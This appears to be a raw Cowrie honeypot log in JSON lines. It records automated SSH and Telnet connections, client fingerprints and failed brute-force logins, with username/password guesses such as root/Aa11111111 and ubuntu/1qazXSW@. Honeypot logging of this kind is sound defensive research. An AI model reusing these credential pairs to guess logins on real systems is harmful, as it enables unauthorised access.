{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:33.295211Z","src_ip":"154.18.197.35","session":"4eac68a5cd70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"a","message":"login attempt [test/a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:34.230884Z","src_ip":"154.18.197.35","session":"4eac68a5cd70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:35.459764Z","src_ip":"154.18.197.35","session":"4eac68a5cd70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48434,"dst_ip":"159.203.135.109","dst_port":23,"session":"b736e5c0b193","protocol":"telnet","message":"New connection: 170.64.224.25:48434 (159.203.135.109:23) [session: b736e5c0b193]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:40.187196Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":52398,"dst_ip":"159.203.135.109","dst_port":22,"session":"1cbc0ccdfd47","protocol":"ssh","message":"New connection: 165.232.38.41:52398 (159.203.135.109:22) [session: 1cbc0ccdfd47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:45.313659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:45.319099Z","src_ip":"165.232.38.41","session":"1cbc0ccdfd47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:45.392989Z","src_ip":"165.232.38.41","session":"1cbc0ccdfd47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qazXSW@","message":"login attempt [ubuntu/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:45.730097Z","src_ip":"165.232.38.41","session":"1cbc0ccdfd47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:46.807600Z","src_ip":"165.232.38.41","session":"1cbc0ccdfd47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.71","src_port":51004,"dst_ip":"10.17.0.5","dst_port":23,"session":"2745c6ea3a7b","protocol":"telnet","message":"New connection: 45.79.207.71:51004 (10.17.0.5:23) [session: 2745c6ea3a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:50.542360Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":40634,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b4622eb42a0","protocol":"telnet","message":"New connection: 170.64.224.25:40634 (159.203.135.109:23) [session: 2b4622eb42a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:50.593777Z"}
{"eventid":"cowrie.session.closed","duration":0.33606600761413574,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:34:50.878281Z","src_ip":"45.79.207.71","session":"2745c6ea3a7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.343294620513916,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:06.530353Z","src_ip":"170.64.224.25","session":"b736e5c0b193","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.240.20.137","src_port":55042,"dst_ip":"159.203.135.109","dst_port":22,"session":"96922a163f1d","protocol":"ssh","message":"New connection: 162.240.20.137:55042 (159.203.135.109:22) [session: 96922a163f1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:09.073755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:09.082658Z","src_ip":"162.240.20.137","session":"96922a163f1d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:09.176299Z","src_ip":"162.240.20.137","session":"96922a163f1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":18.7499942779541,"message":"Connection lost after 18 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:09.343618Z","src_ip":"170.64.224.25","session":"2b4622eb42a0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"yearn","password":"yearn123","message":"login attempt [yearn/yearn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:09.455661Z","src_ip":"162.240.20.137","session":"96922a163f1d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:10.547244Z","src_ip":"162.240.20.137","session":"96922a163f1d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.228.193.165","src_port":39788,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf303ff7b84f","protocol":"ssh","message":"New connection: 20.228.193.165:39788 (10.17.0.5:22) [session: bf303ff7b84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:20.938325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:20.943965Z","src_ip":"20.228.193.165","session":"bf303ff7b84f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:20.954582Z","src_ip":"20.228.193.165","session":"bf303ff7b84f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa11111111","message":"login attempt [root/Aa11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:21.033669Z","src_ip":"20.228.193.165","session":"bf303ff7b84f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:22.051605Z","src_ip":"20.228.193.165","session":"bf303ff7b84f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":60771,"dst_ip":"10.17.0.5","dst_port":22,"session":"0356a62f492f","protocol":"ssh","message":"New connection: 177.16.244.39:60771 (10.17.0.5:22) [session: 0356a62f492f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:26.986406Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:26.990504Z","src_ip":"177.16.244.39","session":"0356a62f492f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:27.115756Z","src_ip":"177.16.244.39","session":"0356a62f492f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"oracle1234","message":"login attempt [root/oracle1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:27.648537Z","src_ip":"177.16.244.39","session":"0356a62f492f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:28.777281Z","src_ip":"177.16.244.39","session":"0356a62f492f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":36608,"dst_ip":"159.203.135.109","dst_port":22,"session":"d801ecb3395f","protocol":"ssh","message":"New connection: 146.190.154.85:36608 (159.203.135.109:22) [session: d801ecb3395f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:44.358253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:44.362201Z","src_ip":"146.190.154.85","session":"d801ecb3395f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:44.440914Z","src_ip":"146.190.154.85","session":"d801ecb3395f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fca","password":"123456","message":"login attempt [fca/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:44.794297Z","src_ip":"146.190.154.85","session":"d801ecb3395f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":77.79091715812683,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:44.959335Z","src_ip":"170.64.224.25","session":"fbecda7d36c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:45.876862Z","src_ip":"146.190.154.85","session":"d801ecb3395f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":48990,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3591e79f2fc","protocol":"ssh","message":"New connection: 51.250.105.222:48990 (10.17.0.5:22) [session: f3591e79f2fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:46.970896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:46.975127Z","src_ip":"51.250.105.222","session":"f3591e79f2fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:47.105559Z","src_ip":"51.250.105.222","session":"f3591e79f2fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:47.488831Z","src_ip":"51.250.105.222","session":"f3591e79f2fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:48.618296Z","src_ip":"51.250.105.222","session":"f3591e79f2fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":58150,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ada5e7146a6","protocol":"ssh","message":"New connection: 154.16.115.34:58150 (10.17.0.5:22) [session: 2ada5e7146a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:50.034489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:50.038874Z","src_ip":"154.16.115.34","session":"2ada5e7146a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:50.067353Z","src_ip":"154.16.115.34","session":"2ada5e7146a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"strk123","message":"login attempt [root/strk123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:50.145536Z","src_ip":"154.16.115.34","session":"2ada5e7146a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:35:51.173754Z","src_ip":"154.16.115.34","session":"2ada5e7146a6","protocol":"ssh"}
